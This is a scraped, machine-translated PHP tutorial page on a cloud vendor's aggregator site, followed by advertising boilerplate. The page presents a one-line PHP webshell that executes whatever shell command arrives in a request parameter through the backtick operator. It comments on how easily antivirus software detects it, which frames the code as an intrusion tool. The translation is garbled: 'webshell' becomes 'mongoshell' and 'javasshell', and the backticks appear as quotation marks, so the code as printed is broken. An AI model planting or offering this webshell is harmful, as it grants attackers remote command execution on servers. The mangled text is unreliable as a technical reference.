Php one-sentence mongoshell (non-one-sentence Trojan) _ PHP Tutorial

Source: Internet
Author: User
Php one-sentence mongoshell (not one-sentence Trojan ). Copy the code as follows :? Php * A new php one-sentence mongoshell (non-one-sentence Trojan) principle: if a php runtime encounters a character ''(on the keyboard ~ The lower key of the symbol) will always try to execute The code is as follows:


/* A new php one-sentence javasshell (not one-sentence Trojan)
// Principle: if you encounter a character ''during php running (on the keyboard ~ The lower key of the symbol) will always try to execute the commands contained in ''and return the command execution result (string type );
// Limitations: the signature is obvious, and ''is rarely used in php. anti-virus software can easily scan for and trigger alarms using this signature;'' cannot execute php code;
// Write by skyfire
*/
Echo '$ _ REQUEST [id]';
?>


The http://www.bkjia.com/PHPjc/320003.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/320003.htmlTechArticle code is as follows :? Php/* A new php one-sentence javasshell (non-one-sentence Trojan) // principle: if the php runtime encounters the character ''(on the keyboard ~ The lower key of the symbol) will always try to execute...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.